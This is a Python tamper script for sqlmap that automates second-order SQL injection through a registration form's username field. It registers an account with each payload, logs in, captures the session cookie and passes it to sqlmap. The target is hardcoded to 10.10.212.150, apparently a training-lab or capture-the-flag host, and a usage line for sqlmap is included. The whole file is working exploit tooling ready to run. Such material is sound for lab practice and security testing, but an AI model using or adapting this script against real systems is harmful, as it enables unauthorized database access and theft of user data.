#!/usr/bin/env python

'''
The following line is an example on how to utilize the script 
sqlmap -r $(pwd)/login.request --tamper $(pwd)/second_order_tamper.py \
--second-req $(pwd)/second.req -p username --technique=U --dbms mysql
'''

import re
import requests
from lib.core.enums import PRIORITY  # Imported by SQLmap
__priority__ = PRIORITY.NORMAL


def dependencies():
    '''
    define dependencies
    '''
    pass


URL = "http://10.10.212.150:8000"


def login_account(payload):
    '''
    Create account and return the cookie
    The SQLi is in the username field
    '''
    proxies = {'http': 'http://127.0.0.1:8080'}
    #cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

    params = {
            "username": payload, #  random.randint(100000, 99999999),  # SQLi field
            "email": "admin@admin.com",
            "password": "password123"  # Needs to be similar to '-r req.txt'
            }
    url = f"{URL}/register"
    _ = requests.post(
        url, data=params, timeout=10,  # cookies=cookies,
        verify=False, allow_redirects=True, proxies=proxies
        )

    url = f"{URL}/login"
    response = requests.post(
        url, timeout=10, data=params, # cookies=flask_cookie,
        verify=False, allow_redirects=True, proxies=proxies
        )

    #print(response.headers)
    flask_cookie = re.search(
        'session=(.*?);', response.headers['Set-Cookie']).group(1)

    # url = f"{URL}/logout"
    # response = requests.post(
    #     url, timeout=10, cookies=flask_cookie,
    #     verify=False, allow_redirects=True, proxies=proxies
    #     )

    return f"session={flask_cookie}"


def tamper(payload, **kwargs):
    '''
    The function used by SQLmap
    '''
    headers = kwargs.get("headers", {})
    headers["Cookie"] = login_account(payload)
    # login_account(payload)
    return payload


#if __name__ == "__main__":
#    login_account("yo")